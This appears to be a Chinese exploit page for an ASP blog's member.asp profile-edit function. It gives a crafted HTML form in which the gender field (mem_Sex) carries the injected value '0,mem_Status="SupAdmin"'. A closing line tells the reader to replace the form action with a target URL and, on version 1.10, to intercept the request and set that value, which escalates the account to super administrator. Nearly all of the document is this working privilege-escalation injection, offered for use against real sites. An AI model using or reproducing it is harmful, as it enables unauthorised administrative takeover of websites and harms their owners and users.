信息来源：未知
<html>
<head>
</head>
<body>
<table width="768" border="0" align="center" cellpadding="4" cellspacing="6" background="images/blog_main.gif">
<tr>
<td width="128" align="center"><strong>用户编辑</strong></td>
<td valign="top" align="center"><table width="95%" border="0" cellpadding="4" cellspacing="1" bgcolor="#CCCCCC">
<tr bgcolor="#EFEFEF">
<td colspan="2"><b>编辑个人资料</b></td>
</tr>
<tr bgcolor="#FFFFFF"><form action="
http://url/member.asp?action=edit&edit=post" method="post" name="Submit" id="Submit">
<td width="98" align="right" nowrap>名称：</td>
<td width="100%"> 9xiao</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>旧密码：</td>
<td> <input name="mem_OldPassword" type="password" id="mem_OldPassword" size="16">
<span class="htd"><b><font color="#FF0000"> *</font></b> 修改资料必须输入原密码</span></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>新密码：</td>
<td> <input name="mem_NewPassword" type="password" id="mem_NewPassword" size="16">
<span class="htd"><b><font color="#FF0000">*</font></b> 密码必须是6-16位</span></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>确认密码：</td>
<td> <input name="mem_RePassword" type="password" id="mem_RePassword" size="16"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>性别：</td>
<td><input name="mem_Sex" type="text" size="36" value=0,mem_Status="SupAdmin" ></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>邮箱：</td>
<td> <input name="mem_Email" type="text" id="mem_Email" value="pyadong at 263 dot net" size="30">
<input name="mem_HideEmail" type="checkbox" id="mem_HideEmail" value="1" >
隐藏邮箱</td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>腾讯QQ：</td>
<td> <input name="mem_QQ" type="text" id="mem_QQ" value=""></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>个人主页：</td>
<td> <input name="mem_HomePage" type="text" id="mem_HomePage" value="" size="35"></td>
</tr>
<tr bgcolor="#FFFFFF">
<td align="right" nowrap>个人简介：</td>
<td> <textarea name="mem_Intro" cols="50" rows="5" wrap="VIRTUAL" id="mem_Intro"></textarea></td>
</tr>
<tr align="center" bgcolor="#FFFFFF">
<td colspan="2">
<input type="submit" name="Submit" value=" 确定编辑 ">
</td>
</tr></form>
</table></td>
</tr>
</table></body>
</html>
action="
http://url/member.asp?action=edit&edit=post" 替换为目标url，1.10版本抓包修改mem_Sex值为“0,mem_Status="SupAdmin"”
